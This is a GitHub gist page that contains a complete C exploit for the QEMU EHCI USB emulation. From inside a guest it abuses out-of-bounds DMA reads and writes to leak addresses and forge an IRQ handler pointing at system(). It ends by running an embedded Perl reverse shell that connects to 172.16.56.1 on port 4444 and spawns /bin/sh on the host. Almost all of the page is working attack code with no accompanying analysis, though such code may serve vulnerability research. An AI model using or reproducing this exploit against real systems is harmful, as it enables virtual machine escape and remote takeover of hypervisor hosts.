Skip to content

Instantly share code, notes, and snippets.

@brant-ruan
Last active February 20, 2023 03:27
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save brant-ruan/8ce3c7aabe5f066bdecbb6ea92e8ed03 to your computer and use it in GitHub Desktop.
Save brant-ruan/8ce3c7aabe5f066bdecbb6ea92e8ed03 to your computer and use it in GitHub Desktop.
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/io.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
/* env related */
#define OFFSET_SYSTEM_PLT 0x2c2290
#define OFFSET_DESC_DEVICE_HIGH 0xe9e150
// used to search for valide user space address
#define USER_ADDR_MIN_X64 0x0000000000400000
#define USER_ADDR_MAX_X64 0x00007fffffffffff
// used to bypass `if (p->iov.size != 8)` in do_token_setup
#define BYPASS_SETUP_IOV_SIZE 8
#define OFF_SETUP_LEN__USBDEVICE 0x8
#define OFF_SETUP_INDEX__USBDEVICE 0xc
/* ehci spec */
#define OPREG_BASE 0x20
#define OPREG_PORTSC (OPREG_BASE + 0x44)
#define OPREG_PERIODICLISTBASE (OPREG_BASE + 0x14)
#define OPREG_USBCMD (OPREG_BASE + 0x00)
#define PORTSC_PRESET (1 << 8)
#define PORTSC_PED (1 << 2)
#define USBCMD_RUNSTOP (1 << 0)
#define USBCMD_HCRESET (1 << 1)
#define USBCMD_PSE (1 << 4)
#define USB_DIR_OUT 0x0
#define USB_DIR_IN 0x80
#define USB_TOKEN_SETUP 2
#define USB_TOKEN_IN 1 /* device -> host */
#define USB_TOKEN_OUT 0 /* host -> device */
#define QTD_TOKEN_ACTIVE (1 << 7)
#define QTD_TOKEN_TBYTES_SH 16
#define QTD_TOKEN_PID_SH 8
/* extra */
#define MEM_SIZE_MMIO 0x1000
#define MEM_SIZE_DMABUF 0x3000
#define OOB_TBYTES_LEN 0x1e00
#define AARW_SETUP_LEN 0x1010
typedef struct USBDevice USBDevice;
typedef struct USBEndpoint USBEndpoint;
struct USBEndpoint {
uint8_t nr;
uint8_t pid;
uint8_t type;
uint8_t ifnum;
int max_packet_size;
int max_streams;
bool pipeline;
bool halted;
USBDevice *dev;
USBEndpoint *fd;
USBEndpoint *bk;
};
struct USBDevice {
int32_t remote_wakeup;
int32_t setup_state;
int32_t setup_len;
int32_t setup_index;
USBEndpoint ep_ctl;
USBEndpoint ep_in[15];
USBEndpoint ep_out[15];
};
typedef struct EHCIqh {
uint32_t next; /* Standard next link pointer */
/* endpoint characteristics */
uint32_t epchar;
/* endpoint capabilities */
uint32_t epcap;
uint32_t current_qtd; /* Standard next link pointer */
uint32_t next_qtd; /* Standard next link pointer */
uint32_t altnext_qtd;
uint32_t token; /* Same as QTD token */
uint32_t bufptr[5]; /* Standard buffer pointer */
} EHCIqh;
typedef struct EHCIqtd {
uint32_t next; /* Standard next link pointer */
uint32_t altnext; /* Standard next link pointer */
uint32_t token;
uint32_t bufptr[5]; /* Standard buffer pointer */
} EHCIqtd;
char *device = "/sys/devices/pci0000:00/0000:00:1d.7/resource0";
char *setup_buf;
char *data_buf;
char *data_buf_oob;
unsigned char *mmio_mem;
char *dmabuf;
uint32_t *entry;
struct EHCIqh *qh;
struct EHCIqtd *qtd;
uint64_t dev_addr = 0;
uint64_t leak_addr = 0;
uint64_t port_addr = 0;
uint64_t port_ptr = 0;
uint64_t data_buf_addr = 0;
uint64_t proc_base = 0;
uint64_t system_addr = 0;
void die(const char *msg) {
perror(msg);
exit(-1);
}
size_t virt2phys(void *addr) {
uint64_t virt = (uint64_t)addr;
uint64_t phys;
// assert page alignment
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd == -1) die("open");
uint64_t offset = (virt / 0x1000) * 8;
lseek(fd, offset, SEEK_SET);
if (read(fd, &phys, 8) != 8) die("read");
// assert page present
phys = (phys & ((1ULL << 54) - 1)) * 0x1000 + (virt & 0xfff);
close(fd);
return phys;
}
void mmio_write(uint64_t addr, uint64_t value) {
*((uint64_t *)(mmio_mem + addr)) = value;
}
uint64_t mmio_read(uint64_t addr) { return *((uint64_t *)(mmio_mem + addr)); }
void set_usbcmd(void) {
// HCRESET is used for final irq handler triggering
// ehci_reset(s) -> ehci_update_irq(s) -> qemu_set_irq(s->irq, level)
// -> irq->handler(irq->opaque, irq->n, level)
mmio_write(OPREG_USBCMD, USBCMD_HCRESET);
mmio_write(OPREG_USBCMD, USBCMD_RUNSTOP | USBCMD_PSE);
return;
}
void reset_enable_port(void) {
mmio_write(OPREG_PORTSC, PORTSC_PRESET);
mmio_write(OPREG_PORTSC, PORTSC_PED);
}
void set_ehci(void) {
qh->token = QTD_TOKEN_ACTIVE;
qh->current_qtd = virt2phys(qtd);
*entry = virt2phys(qh) + (1 << 1);
set_usbcmd();
reset_enable_port();
mmio_write(OPREG_PERIODICLISTBASE, virt2phys(dmabuf));
sleep(3);
}
void set_qtd_for_oob(char usb_token_dir) {
qtd->token = (OOB_TBYTES_LEN << QTD_TOKEN_TBYTES_SH) | QTD_TOKEN_ACTIVE |
(usb_token_dir << QTD_TOKEN_PID_SH);
qtd->bufptr[0] = virt2phys(data_buf);
qtd->bufptr[1] = virt2phys(data_buf_oob);
}
void set_length(uint64_t length) {
setup_buf[6] = length & 0xff;
setup_buf[7] = (length >> 8) & 0xff;
qtd->token = (BYPASS_SETUP_IOV_SIZE << QTD_TOKEN_TBYTES_SH) |
QTD_TOKEN_ACTIVE | (USB_TOKEN_SETUP << QTD_TOKEN_PID_SH);
qtd->bufptr[0] = virt2phys(setup_buf);
set_ehci();
}
void prepare_rw(char usb_dir) {
setup_buf[0] = usb_dir;
set_length(0x00ff);
set_ehci();
}
void oob_r(uint64_t length, int flag) {
printf("[*] oob_r (len 0x%lx)\n", length);
if (flag) {
prepare_rw(USB_DIR_IN);
set_length(length);
}
set_qtd_for_oob(USB_TOKEN_IN);
set_ehci();
}
void oob_w(uint64_t offset, uint64_t setup_len, uint64_t setup_index,
int flag) {
printf("[*] oob_w (off 0x%lx, len 0x%lx, idx 0x%lx)\n", offset, setup_len,
setup_index);
if (flag) {
prepare_rw(USB_DIR_OUT);
set_length(AARW_SETUP_LEN);
}
*(unsigned long *)(data_buf_oob + offset) = 0x0000000200000002;
*(unsigned int *)(data_buf_oob + offset + OFF_SETUP_LEN__USBDEVICE) =
setup_len;
*(unsigned int *)(data_buf_oob + offset + OFF_SETUP_INDEX__USBDEVICE) =
setup_index;
set_qtd_for_oob(USB_TOKEN_OUT);
set_ehci();
}
void aar(uint64_t target_addr) {
printf("[*] aar (addr 0x%lx)\n", target_addr);
set_length(AARW_SETUP_LEN);
// USBDevice.setup_index => -8
// USBDevice.setup_len => 0x1010
oob_w(0x0, AARW_SETUP_LEN, 0xfffffff8 - AARW_SETUP_LEN, 1);
// set USBDevice.setup_buf[0] => 0x80 (USB_DIR_IN)
// set USBDevice.setup_buf[6] => 0x00
// set USBDevice.setup_buf[7] => 0x20
*(unsigned long *)(data_buf) = 0x2000000000000080;
uint32_t offset = target_addr - data_buf_addr;
// set USBDevice.setup_len => 0xffff
// set USBDevice.setup_index => offset - 0x1018 + 0x1018 => offset
oob_w(0x0 - 0xfffffff8, 0xffff, offset - (AARW_SETUP_LEN + 0x8), 0);
// len = 0xffff - offset + 0x1018
// usb_packet_copy(p, s->data_buf + s->setup_index, len)
oob_r(0x2000, 0);
}
void aaw(uint64_t target_addr, uint64_t payload) {
printf("[*] aaw (addr 0x%lx, val 0x%lx)\n", target_addr, payload);
uint32_t offset = target_addr - data_buf_addr;
oob_w(0, offset + 0x8, offset - AARW_SETUP_LEN, 1);
*(unsigned long *)(data_buf) = payload;
oob_w(0, 0xffff, 0, 0);
}
void stop_uhci_controllers() {
puts("[*] stopping all uhci controllers");
iopl(3); // grants full I/O privileges to the process
outw(0, 0xc0a0); // stop USB UHCI controller #1
outw(0, 0xc0c0); // stop USB UHCI controller #2
outw(0, 0xc0e0); // stop USB UHCI controller #3
sleep(3);
}
void init(void) {
stop_uhci_controllers();
printf("[*] opening %s\n", device);
int mmio_fd = open(device, O_RDWR | O_SYNC);
if (mmio_fd == -1) die("open");
puts("[*] mmaping mmio_mem and dmabuf");
mmio_mem =
mmap(0, MEM_SIZE_MMIO, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED) die("mmap");
dmabuf = mmap(0, MEM_SIZE_DMABUF, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (dmabuf == MAP_FAILED) die("mmap");
mlock(dmabuf, MEM_SIZE_DMABUF);
entry = (uint32_t *)(dmabuf + 0x4);
qh = (struct EHCIqh *)(dmabuf + 0x100);
qtd = (struct EHCIqtd *)(dmabuf + 0x200);
setup_buf = dmabuf + 0x300;
data_buf = dmabuf + 0x1000;
data_buf_oob = dmabuf + 0x2000;
}
int main() {
init();
oob_r(0x2000, 1);
dev_addr = *(uint64_t *)(data_buf_oob + 36);
port_addr = dev_addr + 0x78;
data_buf_addr = dev_addr + 0xdc;
printf("[+] leaked (USBDevice) dev_addr: 0x%lx\n", dev_addr);
printf("[+] got data_buf addr: 0x%lx\n", data_buf_addr);
printf("[+] got port addr: 0x%lx\n", port_addr);
leak_addr = *(uint64_t *)(data_buf_oob + 0x4f4 + 8);
proc_base = leak_addr - OFFSET_DESC_DEVICE_HIGH;
system_addr = proc_base + OFFSET_SYSTEM_PLT;
printf("[+] leaked desc_device_high addr: 0x%lx\n", leak_addr);
printf("[+] got elf base addr: 0x%lx\n", proc_base);
printf("[+] got system@plt addr: 0x%lx\n", system_addr);
sleep(3);
aar(port_addr);
port_ptr = *(uint64_t *)data_buf;
uint64_t EHCIState_addr = port_ptr - 0x540;
uint64_t irq_addr = EHCIState_addr + 0xc0;
printf("[+] leaked port ptr: 0x%lx\n", port_ptr);
printf("[+] got EHCIState addr: 0x%lx\n", EHCIState_addr);
printf("[+] got irq addr: 0x%lx\n", irq_addr);
uint64_t fake_irq_addr = data_buf_addr;
// uint64_t irq_ptr = 0;
// aar(irq_addr);
// irq_ptr = *(uint64_t *)data_buf;
// printf("[+] leaked irq ptr: 0x%lx\n", irq_ptr);
printf("[*] crafting fake irq at 0x%lx (data_buf)\n", fake_irq_addr);
*(unsigned long *)(data_buf + 0x28) = system_addr;
*(unsigned long *)(data_buf + 0x30) = data_buf_addr + 0x100;
*(unsigned long *)(data_buf + 0x38) = 0x3;
// *(unsigned long *)(data_buf + 0x100) = 0x636c616378;
char command[] =
"perl -e 'use "
"Socket;$i=qq(172.16.56.1);$p=4444;socket(S,PF_INET,SOCK_STREAM,"
"getprotobyname(qq(tcp)));if(connect(S,sockaddr_in($p,inet_aton($i)))){"
"open(STDIN,qq(>&S));open(STDOUT,qq(>&S));open(STDERR,qq(>&S));exec(qq("
"/bin/sh -i));};'";
strcpy(data_buf + 0x100, command);
puts("[*] overwriting irq ptr with fake irq addr");
puts("[*] also triggering invocation of irq handler");
sleep(3);
oob_w(0, 0xffff, 0xffff, 1);
// the final aaw also triggers the call of irq handler
// see comments in set_usbcmd function for details
aaw(irq_addr, fake_irq_addr);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment